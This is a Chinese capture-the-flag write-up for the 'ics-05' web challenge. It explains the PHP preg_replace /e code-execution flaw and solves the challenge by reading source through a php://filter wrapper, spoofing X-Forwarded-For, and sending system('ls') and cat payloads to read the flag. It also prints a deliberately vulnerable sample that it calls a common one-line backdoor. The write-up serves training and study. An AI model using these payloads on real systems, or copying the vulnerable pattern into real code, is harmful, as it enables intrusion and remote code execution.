今天练习了一下攻防世界里面的web靶场,做了一个题目,叫ics-05,主要是关于preg_replace这个函数可能存在命令执行漏洞~~

先前介绍:

慎用preg_replace危险的/e修饰符(一句话后门常用)

1
2
3
preg_replace原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

pattern: 要搜索的模式,可以是字符串或一个字符串数组。

replacement: 用于替换的字符串或字符串数组。

subject: 要搜索替换的目标字符串或字符串数组。

preg_replace函数作用:搜索subject中匹配pattern的部分, 以replacement进行替换。

特别说明:preg_replace函数存在命令执行漏洞。 /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

例如:

1
2
3
<?php
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>

当提交h=phpinfo()时,phpinfo()将会被执行。(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。

1、 php伪协议读取源码

看到url中的page=index,将index替换成其他字符串,屏幕则显示其他字符串。猜测page=index中,page这个函数可能存在文件包含漏洞。

使用php伪协议直接读取代码:

1
?page=php://filter/read=convert.base64-encode/resource=index.php

注:这句话的意思就是我们用base64编码的方式来读取文件index.php

2、使用base64将代码解密

使用在线base64解密,将第一步所得到的base64代码进行解密,得到如下关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] ==='127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];

$replacement = $_GET[rep];

$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) &&isset($subject)) {

        preg_replace($pattern, $replacement, $subject);

    }else{

        die();

    }

}

preg_replace函数存在命令执行漏洞:使用函数的/e模式,导致代码执行的问题。

3、命令执行

根据源码,当X_FORWARDED_FOR改为127.0.0.1之后,然后传入三个参数,对其中的rep参数进行命令执行。

例如:

1
pat=/test/e&rep=phpinfo()&sub=jutst+test

4、获取flag

1
使用rep=system("ls")

看到一个文件s3chahahaDir,

1
列举里面的文件:rep=system("ls+s3chahahaDir")

看到flag

1
进入flag:rep=system("ls+s3chahahaDir/flag")

得到flag.php里面的内容:

1
rep=system("cat+s3chahahaDir/flag/flag.php")